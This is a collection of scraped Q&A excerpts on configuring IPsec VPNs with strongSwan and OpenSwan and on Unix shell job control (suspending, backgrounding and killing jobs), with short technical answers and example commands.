According to the manual, the comma separated notation should be correct... It is if the other peer supports multiple subnets per CHILD_SA. It's possible that that's not the case here. If so, you'd have to define multiple conn sections to initiate separate CHILD_SAs: conn %default keyexchange=ikev2 au...
Strongswan: several right subnets
1,427,279,151,000
I'm trying to set up an IPsec connection manually from the console with iproute2. What I need is a virtual interface (at best, a virtual IP address could also be sufficient) that IPsec-transforms everthing ingressing (ESP/TUNNEL MODE) and hands it over to eth0 (on my system called em1). On the other set a peer takes t...
Normally what you use is a tunnel, created using ip tunnel add. The tunnel device gives you a virtual device that encapsulates IP packets inside other IP packets. Then the encapsulated packet can be encrypted using IPsec. For example, you can create a GRE tunnel using: ip tunnel add mytunnel mode gre remote 198.51.100...
What do I need to add a virtual IPsec adapter?
1,427,279,151,000
I'm trying to connect to my university's VPN using strongSwan on Arch Linux. They have given example ipsec.conf and ipsec.secrets files and I've installed strongSwan from the AUR. As far as I'm aware, I just need to run ipsec up UNI, where "UNI" is the name of the connection. But before that, when I run ipsec start I ...
That legacy check looks for /proc/net/pfkey. If not found, the code tries to load the af_key module via modprobe and then checks again. However, the PF_KEYv2 interface provided by the af_key module is not used on Linux, by default. Instead, the Netlink/XFRM interface provided by the xfrm_user module is used. The start...
strongSwan - gives error "no known IPsec stack detected, ignoring!"
1,427,279,151,000
As far as I understand, FreeBSD comes with the native ability to make vpn connections. Ist strongswan a package, that comes on top of the freebsd ipsec stack or is it a replacement?
FreeBSD's network stack supports IPsec, but that's just the lower layer of IPsec-based VPN connections. If you don't want to configure security associations (SAs) manually (with encryption/authentication keys you need to place securely on both ends and have to replace regularly) you'll want to use a keying daemon that...
Why use strongswan rather than native vpn support
1,427,279,151,000
I have a server monitoring script which, among other things, checks the state of an IPSec tunnel using ipsec auto --status It works like a charm when run from the console (as root) but as soon as I run it from a (root) cronjob, the command fails: no output at all. I even tried to create this simple root cronjob: */1 ...
It sounds like cron is not seeing ipsec in the path. It's a pretty good habit to include absolute paths to binaries in crontab. There is probably some complaining in /var/log/messages or /var/log/cron. */1 * * * * /usr/sbin/ipsec auto --status You could also add the PATH environment variable to the top of the crontab....
ipsec auto --status fails in cronjob
1,427,279,151,000
I have tried to find some answers on this and other sites trying to find out the problem, but my attempts failed. The rule is very simple: I want to establish my Ipsec tunnel when my Yubikey is plugged. My rule is in the file /etc/udev/rules.d/local.rules In which the script goes as: SUBSYSTEM=="input", ACTION=="ad...
So, after researching more, I found out that the problem in /usr/local/bin/Yubikey.sh script which calls ipsec as a service which caused the stroke socket charon.ctl to fail. Instead, I had to change it to: #!/bin/sh service strongswan restart So, I had to use strongswan instead of ipsec as in the recent distributio...
Connecting to 'unix"//var/run/charon.ctl' failed: connection refused
1,427,279,151,000
Previously it was in ipsec statusall. Now with swanctl I can only see swanctl --list-conns but it only shows the configuration details, not the runtime statistics: eg bytes transferred, negotiated ciphersuites, reauth/rekeying stats, and so on and so forth. So, is there any similar command in the "new" strongswan conf...
That's swanctl --list-sas, aka swanctl -l (with the lowercase L) for short: star6: #1, ESTABLISHED, IKEv2, c87e1f22cf7e22a6_i* d3f4680ff0337849_r local 'ember.nullroute.lt' @ 2001:778:e27f:0:9618:82ff:fe38:e480[4500] remote 'star.nullroute.lt' @ 2a02:7b40:50d1:e466::1[4500] AES_CBC-128/HMAC_SHA2_256_128/PRF_HMA...
What's the "new" way of checking the established connections in strongswan
1,427,279,151,000
I'm using Debian Stretch, which is current testing release. Some time ago I set up a VPN connection using IPsec and it worked correctly. It suddenly stopped. It is possible that in the meantime some packages were upgraded (openssl or strongswan or other), but I'm not sure how to make it work again. The error message i...
The default proposals for IKE and ESP used by strongSwan have changed with 5.4.0. For IKEv2 the IKE and ESP proposals are basically the same, only the order of the algorithms has changed. However, for IKEv1 only the first algorithm of each transform type of the default proposals is sent, which means SHA-1 is not propo...
Cannot connect to VPN with ipsec after upgrade
1,427,279,151,000
If you think troubleshooting IPsec is tedious, please forget about my logs and just let me know the implementation process, I'm still confused and any information is helpful. I removed SPIs and here is my IP map: Our private IP address: 10.1.1.2 Our S-NAT IP address: 172.16.0.1 Our Pubic/EIP address: 1.1.1.1 CheckPoin...
After about one month, we stopped working on StrongSWAN and used CHR ( Mikrotik Cloud Hosted Router ) the setup was easy and fast and didn't met any issues in the past two months. So for anyone who is reading this question, you can switch to CHR with free license or test LibreSWAN Route-based VPN using VTI.
IPsec IKEv2 succesful but Linux VTI does not work with SNAT
1,427,279,151,000
I would like to know why the first time I run the "ipsec pki" command to get a private key this key is generated quickly, but the next time you try to run the same command to get this key because you have deleted the old one it takes about 5-10 minutes.
In its default configuration pki's --gen command generates RSA keys using the random and gmp plugins. Since the random plugin reads from /dev/random this might take a while as that device blocks (i.e. does not return any data) if the system's entropy pool is exhausted. The wiki page of the --gen command describes poss...
StrongSwan - ipsec pki command
1,427,279,151,000
I running 2 Solaris 10 box and trying to tunnel them up through Internet. 1 at the hosting site while the other sitting in my office. ifconfig ip.tun0 plumb ifconfig ip.tun0 192.168.1.207 192.168.1.239 tsrc 175.139.xxx.xxx tdst 202.187.xxx.xxx ifconfig: Failure: ip.tun0: Cannot assign requested address I able to exec...
Local office server: 175.139.xxx.xxx Is that the actual ip address of the local office server? or is that the publicly visible NAT address of your office network? The tsrc address needs to be the servers local ipv4 address, not the office NAT address. Note that this should only be changed on this side of the tunnel. ...
Fail to tunnel between two Solaris 10
1,427,279,151,000
On my CentOS I have firewalld running and my eth0 is in default zone. I use dockers for my services to communicate and in dockers I have enabled encryption. Docker creates an overlay network and uses IPSEC. But firewalld drops IPSEC connection. I found a link which has about 5-6 commands for IPSEC to work and if I pla...
The masquerade rule tells the system to enable nat on outgoing connections, which is typical of networks using private internal addressing. It's a routing rule not technically related to ipsec specifically. The port 4500 is used for ipsec nat traversal when one or both sides are behind other routers and don't have th...
enabling ipsec, ah and esp on CentOS with firewalld in place
1,427,279,151,000
I'm trying to setup an IPsec connection between two Linux systems. I've enabled the kernel options mentioned on the IPsec Howto. I've setup a setkey script like this: #! /usr/sbin/setkey -vf add 192.168.210.1 192.168.210.2 esp 24501 -E 3des-cbc "123456789012123456789012"; add 192.168.210.1 192.168.210.2 ah 24500 -A h...
These kernel config settings do the trick: CONFIG_INET_XFRM_MODE_TRANSPORT=y CONFIG_INET_XFRM_MODE_TUNNEL=y
Getting "Protocol not supported" from setkey: why?
1,427,279,151,000
I'm trying to setup ipsec however pluto appears not to bind to a public IP and IPsec Kernel requires updating. This is what I've come up with so far: -IPSec Verify states my kernel is not supporting IPsec -I've had the VPS provider enable IPSec in the openvz environment on the host machine however they state I have to...
The answer to this one in the end was that openVZ VPS providers have to have a kernel that supports ipsec and must enable ipsec modules on the host machine. Some of our providers would not do this as its a big change for the host machine. Instead we found all our providers supported the openvpn protocol and we enabled...
Pluto not finding interface on a ipsec VPN
1,336,202,272,000
This tutorial use left parameter when setup strongswan, while this tutorial also use leftid parameter. What is the difference between left and leftid? Update I setup strongswan on aws ec2 with the config as following: conn aws-to-corp authby=secret #left=%any left=52.82.6.111 leftid=52....
One defines the local IP address(es), left, which does not have to be specified unless it should be restricted. The other, leftid, the local identity used during authentication, which will default to the local IP address or the subject DN of the local certificate, if one is configured. Note that the convention is to u...
strongswan: What is the difference between left and leftid?
1,336,202,272,000
Context I have set up a site-to-site IPSec tunnel between a Raspberry Pi located in an office and a pfSense firewall in the cloud. I am using Strongswan for the Raspberry Pi side. Issue My tunnel establishes and works fine for a while, but when it has to rekey itself, the negotiation fails. Is there something obvious ...
Furthermore, I did ask for different algorithms inside of my swanctl configuration file. You have only done so for IKE, not for ESP/IPsec. I am having trouble understanding why the proposals do not match on rekeying if they do for the initial connection. That's a common misconception with IKEv2. The proposal that'...
IPSec tunnel works until rekeying, then gets NO_PROPOSAL_CHOSEN
1,336,202,272,000
I'm setting up IPSec VPN and I have met an error which upon searching I found the error actually means required kernel modules are missing. That prompted me to check that with lsmod and kmod list but both give an empty list. That sounds to me like there is no loaded kernel module (sounds strange and unlikely to me bu...
Linux xxx 2.6.32-042stab127.2 #1 SMP Thu Jan 4 16:41:44 MSK 2018 x86_64 GNU/Linux That is definitely not a standard Debian 9 kernel. For a vanilla Debian 9, you would expect a 4.9.x series kernel. Googling on the version number indicates this may be an old OpenVZ/Virtuozzo kernel based on RHEL 6. The kernel configura...
Install Linux Kernel modules
1,336,202,272,000
Today, I was monitoring my network accesses using Little Snitch and connecting to an Avast SecureVPN when Little Snitch warned me that it was blocking inbound attempts to contact /usr/sbin/racoon. I did my research and know that racoon is the IPsec IKE daemon, so I gather it has something to do with keys and IPsec, bu...
To use IPSec both sides needs some tools for key exchange. You can do key exchange manually but nobody does it. Protocol named ISAKMP/IKE used for key exchange. It uses udp/500. On *BSD systems racoon daemon is used for it. Since key exchange takes place at first connection and then keys are updated periodically you n...
Why does /usr/sbin/racoon require inbound connections when a VPN is active on MacOS Sierra
1,336,202,272,000
My system is Gentoo 64bit, and is using systemd as the initialization system. After I migrated to systemd, I found there's not service to start ipsec. I tried to run /etc/init.d/ipsec, but it says it would only work with openrc. What is the corresponding service to start ipsec?
Assuming that the service file actually exists, you should be able to launch it with systemctl start ipsec. You'll need the appropriate USE flags for systemd as well, probably -- I'd suggest a systemd subprofile if you're not already using one.
How to start ipsec on Gentoo after migrated to systemd?
1,336,202,272,000
Which package contains the implementation of IPsec and which package contains the implementation of encryption algorithms that IPsec uses for encryption? I need to use custom crytographic algorithms in IPsec, so I need to edit the implementations of these packages.
On Linux and most other unices, IPsec and other network protocols up to the transport layer are implemented in the kernel. There are additional userland tools that handle key exchange; several implementations exist. The cryptographic algorithms are in crypto. The network protocols are spread around net/ipv4, net/ipv6 ...
Which packages contain IPsec implementations and algorithms that use it for encryption?
1,336,202,272,000
I have two private network. network A router: TL-WVR3200L public IP: 223.71.239.218 subnet: 192.168.1.0/24 IPSec config: network B router: TL-WDR5620 public IP: 119.90.63.105 subnet: 192.168.100.0/24 I setup strongswan on 192.168.100.102 with following config: config setup charondebug="all" uniq...
TL-WVR3200L doesn't support IKEv2. As suggested by ecdsa, when I configuring keyexchange=ikev1, the problem was gone.
strongswan: received NO_PROPOSAL_CHOSEN notify error
1,336,202,272,000
There is an IPsec Tunnel created with OpenSwan that works perfectly well packets going through answers received etc until at some point in time traffic stops. I can regenerate the tunnel doing ipsec auto --down tunnelName ipsec auto --up tunnelName But eventually it will collapse again, sometimes after hours sometime...
Have a look at /var/log/syslog, usually there is a trove of logs to be found there relating to ipsec. There used to be a (very) old bug talking with Windows on the other side due to inactivity...a simple ping in the background fixed that, or a patch); cannot remember the specifics though. Nevertheless, most firewalls...
IPsec tunnel blocks after a while without error. Where to find details?
1,336,202,272,000
On a recently installed Debian system I noticed that every boot, even with no networking, a folder and empty socket file are generated in /tmp/ssh-(random_letters)/agent.xxx. On every boot the random letters assigned to the folder name and random numbers assigned to the socket file change. On this system there is no V...
All of those things look completely normal. The SSH agent is started on login as part of your graphical desktop. Yes it doesn't care whether you have an Ethernet cable or not (nor should it). Yes it gets a random socket address every time. The Charon socket will be listening whenever Charon (the strongSwan daemon) is ...
Random SSH Agent Generates on Boot in tmp Directory Even with Networking Disabled
1,336,202,272,000
I have line of ipsec statusall <conn_name> output. Depends on traffic flow it could be: sr_mesh_aws_22{10}: AES_CBC_256/HMAC_SHA2_256_128/MODP_1024, 0 bytes_i, 0 bytes_o, rekeying in 32 minutes sometimes: sp_mesh_6_7{8}: AES_CBC_256/HMAC_SHA2_256_128, 336 bytes_i, 336 bytes_o (4 pkts, 15s ago), rekeying disabled ...
Based on the example you show, a quick hack would be not to replace , within (...) but to replace pkts, with pkts; giving : echo "sr_mesh_aws_21{24}: AES_CBC_256/HMAC_SHA1_96, 59189 bytes_i (469 pkts, 0s ago), 128238 bytes_o (431 pkts, 0s ago), rekeying in 32 minutes" | sed 's/pkts,/pkts;/g' NB : the echo ... part...
How to fix csv string format
1,336,202,272,000
Is my first VPN, for testing this is my simple network scheme LAN1(private 10.10.0.0/24) --->VPN-----internet---<VPN---<LAN2(private 10.20.0.0/24) on /etc/ipsec.conf i use.. ... left=ippublicserver1 leftid=fqdnserverA leftsubnet=10.10.0.0/24 right=ippublicserver2 rightsubnet=10...
Correct: A Different ipsec.conf where rigthsubnet become leftsubnet The statement leftsubnet is every a server at where you write a config, e.g you lan In this example: LAN1 Gateway, leftsubnet is 10.10.0.0/24 and rightsubnet is 10.20.0.0/24 LAN2 Gateway, leftsubnet is 10.20.0.0/24 and rightsubnet is 10.10.0.0/24
ipsec on linux,a simple and fast question
1,336,202,272,000
I have a FreeBSD 7.3 server and I configured IPsec on it but now I need to put my server behind a NAT. I know in order to using NAT I should add IPsec_NAT_T to my kernel but the problem is IPsec_NAT_T is not built in and I must add patch to my kernel. How can I do that?
You have already figured out that you need to patch your kernel sources as you have a very old version. Never versions already have the option. And I think that -current (what will become 12) have deprecated the option and supports NAT-T by default. So you need to figure out what kernel source version you have locally...
using IPsec behind NAT in freebsd 7.3
1,336,202,272,000
I'm running Solaris 10 v5/08. Running svcs -a | grep ipsec returns nothing, so I have reason to believe IPsec isn't installed (or isn't showing up for some other reason). How can I make sure it is installed and set up correctly?
The documentation states "Starting in the Solaris 10 4/09 release, IPsec is managed by SMF." As you are using an older release, it is expected for ipsec not to show up as a service.
Missing IPsec package in Solaris 10
1,336,202,272,000
I'm getting a really strange issue on fresh Fedora 28 MATE with an IKEv2 IPSEC VPN. First thing: this VPN is currently used by some other clients (some windows and my old Fedora 26) with NO issue. Configuring it on a fresh installed Fedora 28 i can connect, but, from server, i get "random" DNS servers (random in the r...
It was a not-pached bug in the strongswan rpm package: https://bugzilla.redhat.com/show_bug.cgi?id=1574939 Fixed in strongswan-5.6.2-6.fc28, issue solved with system upgrade: dnf clean all dnf update
strongswan get RANDOM dns
1,336,202,272,000
i have 2 tunnels of ikev1, with overlapping in leftsubnet and rightsubnet ,how the packet that send know to which tunnel it forward to tunnel first_4a010003 whay is that and how i decide i nwhch tunnel the packet will forward? my configuration is : # cat /etc/ipsec.conf conn %default keyexchange=ikev1 ...
That's decided by the outbound IPsec policies and their priorities. You can see those with the ip xfrm policy command. When installing such policies, strongSwan uses higher priorities (lower numeric values) for more specific policies. For example, a packet addressed to 30.30.30.1 will use the SA created for the second...
how overlapping subnet in 2 SA in strongswan determine which tunnel to go?
1,389,826,534,000
I accidentally "stopped" my telnet process. Now I can neither "switch back" into it, nor can I kill it (it won't respond to kill 92929, where 92929 is the processid.) So, my question is, if you have a stopped process on linux command line, how do you switch back into it, or kill it, without having to resort to kill -...
The easiest way is to run fg to bring it to the foreground: $ help fg fg: fg [job_spec] Move job to the foreground. Place the job identified by JOB_SPEC in the foreground, making it the current job. If JOB_SPEC is not present, the shell's notion of the current job is used. Exit Status: Statu...
If you ^Z from a process, it gets "stopped". How do you switch back in?
1,389,826,534,000
The full portion of the Bash man page which is applicable only says: If the operating system on which bash is running supports job control, bash contains facilities to use it. Typing the suspend character (typically ^Z, Control-Z) while a process is running causes that process to be stopped and r...
From the 4BSD manual for csh: A ^Z takes effect immediately and is like an interrupt in that pending output and unread input are discarded when it is typed. There is another special key ^Y which does not generate a STOP signal until a program attempts to read(2) it. This can usefully be typed ahead when you have pr...
What is the purpose of delayed suspend (Ctrl-Y) in Bash?
1,389,826,534,000
"Yes, and..." is a wonderful rule-of-thumb in improvisational comedy. Not so much in the UNIX world. When I run the admittedly silly yes& command, I cannot interrupt it. The terminal crashes or gets stuck into a loop. I expect the yes process to be suspended immediately, since any process in the background should susp...
Background processes which write to the terminal are only suspended if the TOSTOP output mode is set, which isn’t the case by default. Try stty tostop yes & and you’ll see that yes is suspended. Background processes which read from the terminal are suspended by default, because there’s no sensible way for them to get...
Why does "yes&" crash my Bash session?
1,389,826,534,000
I'm looking for something like command1 ; command2 i.e. how to run command2 after command1 but I'd like to plan execution of command2 when command1 is already running. It can be solved by just typing the command2 and confirming by Enter supposed that the command1 is not consuming standard input and that the command1 ...
Generally what I do is: Ctrl+Z fg && command2 Ctrl+Z to pause it and let you type more in the shell. Optionally bg, to resume command1 in the background while you type out command2. fg && command2 to resume command1 in the foreground and queue up command2 afterwards if command1 succeeds. You can of course substitute ...
How to plan a task to run after another already running task in bash? [duplicate]
1,389,826,534,000
As we know, the shell enables the user to run background processes using & at the command line's end. Each background process is identified by a job ID and, of course, by it's PID. When I'm executing a new job, the output is something like [1] 1234 (the second number is the process ID). Trying to invoke commands like...
After a process is sent to the background with &, its PID can be retrieved from the variable $!. The job IDs can be displayed using the jobs command, the -l switch displays the PID as well. $ sleep 42 & [1] 5260 $ echo $! 5260 $ jobs -l [1] - 5260 running sleep 42 Some kill implementations allow killing by ...
How to get the Job ID? [duplicate]
1,389,826,534,000
Sometimes you run a program from the terminal, say, lxpanel†. The terminal won't drop you back to the prompt, it'll hang. You can press Ctrl+C to get back to the prompt, but that will kill lxpanel. However, pressing Alt+F2 (which pops up a window to take a command) and running lxpanel works gracefully. Why is this? Wh...
By default the terminal will run the program in the foreground, so you won't end up back at the shell until the program has finished. This is useful for programs that read from stdin and/or write to stdout -- you generally don't want many of them running at once. If you want a program to run in the background, you can...
Why do some commands 'hang' the terminal until they've finished?
1,389,826,534,000
I need to do some work on 700 network devices using an expect script. I can get it done sequentially, but so far the runtime is around 24 hours. This is mostly due to the time it takes to establish a connection and the delay in the output from these devices (old ones). I'm able to establish two connections and have th...
Could all 700 instances possibly run concurrently? That depends on what you mean by concurrently. If we're being picky, then no, they can't unless you have 700 threads of execution on your system you can utilize (so probably not). Realistically though, yes, they probably can, provided you have enough RAM and/or sw...
What happens if I start too many background jobs?
1,389,826,534,000
I am seeing some strange behavior on my RHEL6 bash prompt. I often like to execute command lines that look like ... $ ./myscript > junk 2>&1 ... then hit Ctrl-Z and then execute ... $ bg $ tail -f junk blah blah blah blah blah blah blah blah But today for some reason I am see that my job stays "stopped" and is not ...
$ bg [1]+ ./myscript.sh > output-07-JUL-16.txt 2>&1 & $ jobs [1]+ Stopped ./myscript.sh > output-07-JUL-16.txt 2>&1 Running jobs -l will show more detail about your background jobs. In the case of your shell script, it will display something like the following, which reveals the reason why the job st...
backgrounded job keeps stopping
1,389,826,534,000
Is it possible to list all running background processes with the ps command, or is the only option for getting a list of background processes the jobs command?
"background processes" usually refers to terminal job control. That would be processes that are in process groups that are not the foreground process group of their controlling terminal device. On Linux systems with the procps implementation of ps, you can find them with: ps -eo pid,pgid,tpgid,args | awk 'NR == 1 || (...
How do I list all background processes?
1,389,826,534,000
What I do is: sleep 5 and immediately CTRL-Z so when I open jobs I see: [1]+ Stopped sleep 5 next when I do fg %1 sleep process is no more running, it's done so that means it was running those 5 ( maybe 4? ) seconds while it was Stopped. Why?
The utility calls xnanosleep() which in its turn calls the linux kernel nanosleep() system call. It works regardless of an application running/stopped state but when the application is stopped it cannot exit which means it does that when you unpause it. https://linux.die.net/man/2/nanosleep As for Ctrl + Z it sends a ...
Why sleep command process is still running in the background while I stopped it with CTRL-Z?
1,389,826,534,000
We can issue CTRL+Z to suspend any jobs in Unix and then later on bring them back to life using fg or bg. I want to understand what happens to those jobs that are suspended like this ? Are they killed/terminated ? In other words what is the difference between killing and suspending a process ?
The jobs are not killed, they are suspended. They remain exactly as they are at the time of the suspension: same memory mapping, same open file, same threads, … It's just that the process sits there doing nothing until it's resumed. It's like when you pause a movie. A suspended process behaves exactly like a process t...
What happens to suspended jobs in unix?
1,389,826,534,000
I know that the jobs command only shows jobs running in current shell session. Is there a bash code that will show jobs across shell sessions (for example, jobs from another terminal tab) for current user?
It's unclear (to me) what you'd want this global jobs call to do beyond just listing all processes owned by the current user (ps x), but you could filter that listing by terminal and/or by state. List your processes that are: Connected to any terminal: ps x |awk '$2 ~ /pts/' Stopped by job control (Ctrl+z without bg)...
List all jobs in all shell sessions (not just the current shell), by current user
1,389,826,534,000
If I begin a process and background it in a terminal window (say ping google.com &), I can kill it using kill %1 (assuming it is job 1). However if I open another terminal window (or tab) the backgrounded process is not listed under jobs and cannot be killed directly using kill. Is it possible to kill this process...
Yes, all you need to know is the process id (PID) of the process. You can find this with the ps command, or the pidof command. kill $(pidof ping) Should work from any other shell. If it doesn't, you can use ps and grep for ping.
How can I kill a job that was initiated in another shell (terminal window or tab)?
1,389,826,534,000
jobs is my favorite command to see my codes which are running in the background. In order to check for them dynamically, I tend to type watch 'jobs' which does not display anything. However watch 'ps' works perfectly. I have been doing the same mistake for months now. I think understanding why the first does not wor...
jobs is a built-in that reports on the state of the current shell: the commands that were backgrounded with that shell. watch runs a new shell for each execution, and that shell's jobs has no way of knowing what watch's parent shell's jobs are. ps is an external command and it never used the shell's state.
Explain why watch 'jobs' does not work but watch 'ps' work?